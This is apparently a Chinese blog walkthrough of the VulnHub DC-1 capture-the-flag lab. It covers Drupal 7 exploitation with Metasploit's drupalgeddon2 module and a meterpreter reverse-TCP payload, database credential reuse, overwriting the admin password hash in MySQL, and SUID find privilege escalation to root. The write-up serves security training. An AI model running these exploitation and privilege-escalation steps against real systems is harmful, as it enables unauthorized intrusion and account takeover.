写写自己打DC-1的过程

使用工具 kali

DC-1的靶机下载地址为:https://www.vulnhub.com/entry/dc-1,292/

第一步:环境配置。

我这里的话kali和DC-1都是nat模式

1637323951_619794af4ca13b90b7e5e.png!small?1637323950565

kali IP为:192.168.28.139

DC-1 IP设置为nat模式,具体多少暂时也不知道。

第二步:信息收集

\1. DC-1 IP不知道,那我们首先就先主机存活探测下,看看靶机IP是多少。

为了提高效率,我们直接用nmap,或者arp-scan。

nmap:nmap -sP 192.168.28.0/24

1637326055_61979ce7da019a0745ced.png!small?1637326055252

arp-scan: arp-scan -l

1637326319_61979def2e901279581cf.png!small?1637326318487

获得 DC-1 IP:192.168.28.178

2.查找到IP后可以查看靶机开启了什么端口(可以使用nmap)

nmap -A 192.168.28.178

-A : 激进型 启用许多扫描选项,版本扫描,脚本扫描等(慎用)

1637326627_61979f23817274ed8a352.png!small?1637326627001

可以看到DC-1开启了ssh和http和不知道干什么的111端口,我们可以尝试去访问下DC-1的IP:192.168.28.178

1637326744_61979f989c37141638814.png!small?1637326743891

可以看到有个登录框,我们可以手动sql注入试试(我尝试了下没有试出来)。

看到网站,我们可以试试挖下目录文件,这里的话提一下我用的工具(御剑,gobuster,dirb)具体使用可以找一下手册。再我们兜兜转转半天也一筹莫展时。

那我们下一步就去看看是否是常见的一些cms。

3.指纹识别(whatweb)

whatweb -v 192.168.28.178

1637327655_6197a327bc88277830fa9.png!small?1637327655138

通过查看返回信息 很容易找到CMS版本以及名字

1637327723_6197a36be0913416f9fff.png!small?1637327723206

可以看到CMS为Drupal 7。

2.漏洞利用

Drupal的话msf有一些现成的模块我们可以尝试试试。

1.进入msf

msfconsole

2.查找相应模块

search Drupa

1637329421_6197aa0d49fd8fa6aa2fb.png!small?1637329420633

3.使用相应模块,咱也都试了下,发现 exploit/unix/webapp/drupal_drupalgeddon2 这个里面可以。

use exploit/unix/webapp/drupal_drupalgeddon2

1637375220_61985cf4aad64b20e17d1.png!small?1637375220946

4.选择查看payload有什么

show payloads

1637375367_61985d874fc2a8710b3bf.png!small?1637375367632

看到了熟悉的php/meterpreter/reverse_tcp

5。使用payload

set payload php/meterpreter/reverse_tcp

1637375451_61985ddba7be69afc2a61.png!small?1637375451865

6.查看需要配置的参数

show options

1637375524_61985e24657c0f6c93c71.png!small?1637375524898

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

7.配置

set rhosts 192.168.28.178

1637375661_61985ead21c0e8114cbf1.png!small?1637375661333

8.启动

exploit

1637375736_61985ef85f9e049c35777.png!small?1637375736674

可以看到session的建立

9.查看DC-1基本信息

sysinfo

1637376911_6198638f6cf32f3342258.png!small?1637376911623

10.获得shell

shell

1637377008_619863f06f7632061e867.png!small?1637377008636

为了方便看我们使用python进行反弹

python -c “import pty;pty.spawn(’/bin/bash’)”

1637377024_6198640067dff4a514885.png!small?1637377024586

3.flag1

ls直接查看当前文件,我们就可以看到flag1.txt

再使用cat查看

ls

cat flag1.txt

1637377144_6198647858d0d00ed84cf.png!small?1637377144602

给了个提示:Every good CMS needs a config file - and so do you.

​ 每个好的CMS都需要一个配置文件——你也是。

4.flag2

每个好的CMS都需要一个配置文件——你也是。

那我们找下他的配置文件

find . -name “set*”

1637380276_619870b4e355b4f35a3ab.png!small?1637380276899

还真的有!看看内容

cat ./sites/default/settings.php

1637380427_6198714b7f183dc1f1452.png!small?1637380427531

发现flag2

文件里面有数据库的账号密码

也给了提示

*暴力和字典攻击不是最常见的

*只有获得访问权限的方法(您将需要访问权限)。

*你能用这些证书做什么?

暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录

后面的意思应该是后续需要我们提权操作。

5.flag3

前面给了我们数据库账号密码以及数据库名字

‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,

我们尝试登录一下

mysql -udbuser -pR0ck3t

1637393848_6198a5b8d77618f3fd5e3.png!small?1637393848863

查看库

show databases;

1637393907_6198a5f3a1d8a4a9cd868.png!small?1637393907522

进入drupaldb库中

use drupaldb

1637393978_6198a63a0d4dbc5318705.png!small?1637393977985

查看库中的表

show tables;

1637394041_6198a679ca1ec416ebfaf.png!small?1637394041756

仔细观察我们可以看到有一个users的表

1637394103_6198a6b77ac6d15e8c2c7.png!small?1637394103415

查看表中内容

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向:

1637394573_6198a88d7fd9a10e4987e.png!small?1637394573505

可以看到admin的密码给加密了 S S SD应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。

find . -name “hash

1637394818_6198a982c91fb71c64af1.png!small?1637394818678

找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西

./scripts/password-hash.sh

1637395051_6198aa6b4e763a5237f57.png!small?1637395051291

意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

1637395162_6198aadaf390818a7fb5e.png!small?1637395162868

果然返回了hash后的值。

原来admin的密码hash后为: S S SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

显然靠我们一个一个试不切实际。可以换一个思路既然找不到密码是多少,那么我们就把原来密码替换了

刚刚123456 hash后为: S S SDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC

重新回到数据库drupaldb内。

更新密码

1637395647_6198acbfee71f68258c8a.png!small?1637395648066

update users set pass=' S S SDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC’where name=“admin”;

1637395780_6198ad442110e65ba744a.png!small?1637395780009

更新完成后,我们访问网站192.168.28.178

1637396098_6198ae82bc69b4c2080e3.png!small?1637396098674

找一下看看界面中有没有提示

1637396189_6198aeddf3b9d4a97ab77.png!small?1637396190033

1637396216_6198aef815e4fb42c9f06.png!small?1637396215954

得到flag3;

并且获得提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

6.flag4

根据提示passwd我们可以想到/etc/passwd

cat /etc/passwd

1637396514_6198b0220067eaa10baea.png!small?1637396513935

发现里面有flag4,给了个路径/home/flag4

切换到flag4里面看看有什么文件

cd /home/flag4

ls

1637396809_6198b1493d28c52a1b68f.png!small?1637396809127

查看内容

cat flag4.txt

1637396846_6198b16e1f617224c5186.png!small?1637396846117

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)

1637397052_6198b23c8dedbfefca0c1.png!small?1637397052572

看到find就在其中,那就比较简单了。直接使用find提权

find / -exec “/bin/bash” -p ;

1637397174_6198b2b6f2b97ef8d2ce4.png!small?1637397174844

再次查看

cat flag4.txt

1637397222_6198b2e600dd94a807b28.png!small?1637397221855

找到flag4

并且给出提示:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

7.flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root

ls

1637397459_6198b3d3e118ad68b7bb3.png!small?1637397459803

可以看到有一个thefinalflag.txt 最后的flag

直接cat查看即可

cat thefinalflag.txt

1637397531_6198b41b40d187de4cd90.png!small?1637397531115

获得最终的flag

8.总结

1.nmap,arp-scan使用

2.whatweb 指纹识别

3.msf使用对应的模块

4.mysql的修改数据

5.SUID提权

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐